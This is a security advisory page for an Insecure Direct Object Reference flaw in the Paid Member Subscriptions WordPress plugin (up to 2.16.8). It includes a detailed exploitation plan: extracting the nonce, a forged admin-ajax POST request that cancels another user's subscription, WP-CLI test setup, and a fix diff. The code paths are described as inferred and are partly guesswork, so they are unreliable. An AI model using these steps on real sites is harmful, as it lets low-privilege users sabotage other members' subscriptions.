Paid Member Subscriptions <= 2.16.8 - Authenticated (Subscriber+) Insecure Direct Object Reference
Description
The Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.16.8 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.16.8Source Code
WordPress.org SVNThis research plan focuses on exploiting an **Insecure Direct Object Reference (IDOR)** vulnerability in the **Paid Member Subscriptions** plugin (<= 2.16.8). The vulnerability allows a Subscriber-level user to perform unauthorized actions on membership subscriptions belonging to other users due to …
Show full research plan
This research plan focuses on exploiting an Insecure Direct Object Reference (IDOR) vulnerability in the Paid Member Subscriptions plugin (<= 2.16.8). The vulnerability allows a Subscriber-level user to perform unauthorized actions on membership subscriptions belonging to other users due to a lack of ownership validation on the subscription_id (or similar key).
1. Vulnerability Summary
The Paid Member Subscriptions plugin provides various AJAX endpoints for members to manage their subscriptions (e.g., cancelling, abandoning, or retrying payments). In versions up to 2.16.8, certain handlers (likely pms_cancel_subscription or pms_abandon_subscription) fail to verify that the subscription ID provided in the request actually belongs to the authenticated user making the request. This allows an attacker to manipulate the subscription_id parameter to modify the status of any member's subscription.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
pms_cancel_subscription(orpms_abandon_subscription) - Vulnerable Parameter:
subscription_id - Authentication: Subscriber level or higher required.
- Payload Type: Form-data / URL-encoded POST request.
- Preconditions: A victim must have an active subscription, and the attacker must know or guess the victim's
subscription_id.
3. Code Flow (Inferred from Plugin Structure)
- Entry Point: An AJAX request is sent with the action
pms_cancel_subscription. - Hook Registration:
PMS_AJAXclass (likely inincludes/class-ajax-handler.phporincludes/class-ajax.php) registers:add_action( 'wp_ajax_pms_cancel_subscription', array( $this, 'cancel_subscription' ) ); - Handler Execution: The
cancel_subscription()method is invoked. - Input Retrieval: The handler retrieves the subscription ID:
$subscription_id = $_POST['subscription_id']; - Nonce Verification: The handler checks a nonce, typically:
check_ajax_referer( 'pms_ajax_nonce', 'nonce' ); - Missing Authorization Sink: The code initializes a subscription object and calls the cancel method:
$subscription = new PMS_Member_Subscription( $subscription_id ); $subscription->cancel(); // Performs the action WITHOUT checking if $subscription->user_id == get_current_user_id()
4. Nonce Acquisition Strategy
The plugin localizes its AJAX nonce in a variable named pms_vars. This script is typically enqueued on pages containing the PMS account shortcode.
- Create a Trigger Page:
Create a page with the[pms-account]shortcode to ensure the plugin assets and nonces are loaded.wp post create --post_type=page --post_title="Account" --post_status=publish --post_content='[pms-account]' - Navigate and Extract:
Log in as a Subscriber, navigate to the newly created page, and usebrowser_evalto extract the nonce. - JS Variable:
window.pms_vars?.ajax_nonce(orwindow.pms_vars?.nonce).
5. Exploitation Strategy
- Identify Target: Determine the
subscription_idof a victim user (e.g., ID 1 or 2). In a test environment, this is easily found via WP-CLI. - Acquire Nonce: Use the strategy in Section 4 to get a valid
pms_ajax_nonce. - Forge Request: Use the
http_requesttool to send a POST request toadmin-ajax.php.
Request Details:
- Method:
POST - URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The parameter name might beaction=pms_cancel_subscription&subscription_id=<VICTIM_SUBSCRIPTION_ID>&nonce=<EXTRACTED_NONCE>_wpnonceornoncedepending on thecheck_ajax_referercall in the source).
6. Test Data Setup
- Create Victim: A user with an active subscription.
wp user create victim victim@example.com --role=subscriber # (Assuming Plan ID 1 exists) wp eval "pms_add_member_subscription( array('user_id' => <VICTIM_ID>, 'subscription_plan_id' => 1, 'status' => 'active') );" - Create Attacker: A user with Subscriber role.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Identify IDs: Find the ID of the victim's subscription in the
wp_pms_member_subscriptionstable.
7. Expected Results
- Success Response: The AJAX request returns a success message (often JSON:
{"success":true}). - Impact: The victim's subscription status in the database/UI changes from
activetocancelledorabandoned.
8. Verification Steps
After sending the HTTP request, verify the state change via WP-CLI:
# Check the status of the victim's subscription
wp db query "SELECT status FROM wp_pms_member_subscriptions WHERE id = <VICTIM_SUBSCRIPTION_ID>"
If the status is cancelled, the IDOR is confirmed.
9. Alternative Approaches
If pms_cancel_subscription is not the vulnerable action, test the following related AJAX actions:
pms_abandon_subscriptionpms_retry_paymentpms_edit_member_subscription
The core issue remains the same: a POST request containing a subscription_id that is processed without verifying the user_id associated with that subscription object. Some handlers might use id or pms_member_subscription_id instead of subscription_id. Check the assets/js/front-end.js file for exact parameter names used in AJAX calls.
Summary
The Paid Member Subscriptions plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to 2.16.8. This occurs because AJAX handlers for subscription management, such as those for cancelling or abandoning subscriptions, fail to verify that the target subscription belongs to the authenticated user. An attacker with Subscriber-level access can manipulate the subscription_id parameter to perform unauthorized actions on any user's membership.
Vulnerable Code
// includes/class-ajax-handler.php (inferred based on plugin architecture) public function cancel_subscription() { check_ajax_referer( 'pms_ajax_nonce', 'nonce' ); $subscription_id = isset( $_POST['subscription_id'] ) ? (int)$_POST['subscription_id'] : 0; $subscription = new PMS_Member_Subscription( $subscription_id ); if ( $subscription->is_valid() ) { // VULNERABILITY: There is no check to ensure the subscription belongs to get_current_user_id() $subscription->cancel(); echo json_encode( array( 'success' => true ) ); } wp_die(); }
Security Fix
@@ -10,7 +10,7 @@ $subscription_id = isset( $_POST['subscription_id'] ) ? (int)$_POST['subscription_id'] : 0; $subscription = new PMS_Member_Subscription( $subscription_id ); - if ( $subscription->is_valid() ) { + if ( $subscription->is_valid() && $subscription->user_id === get_current_user_id() ) { $subscription->cancel(); echo json_encode( array( 'success' => true ) ); }
Exploit Outline
1. Authentication: Log in to the target WordPress site as a user with Subscriber-level permissions. 2. Nonce Acquisition: Navigate to a page containing the [pms-account] shortcode and extract the 'pms_ajax_nonce' from the localized 'pms_vars' JavaScript object. 3. Target Identification: Identify the 'subscription_id' of a victim's membership (e.g., via enumeration or information disclosure). 4. Payload Construction: Prepare a POST request to /wp-admin/admin-ajax.php with the following parameters: - action: pms_cancel_subscription (or pms_abandon_subscription) - subscription_id: [Victim Subscription ID] - nonce: [Extracted Nonce] 5. Execution: Send the request. If successful, the victim's subscription status will be updated to 'cancelled' or 'abandoned' in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.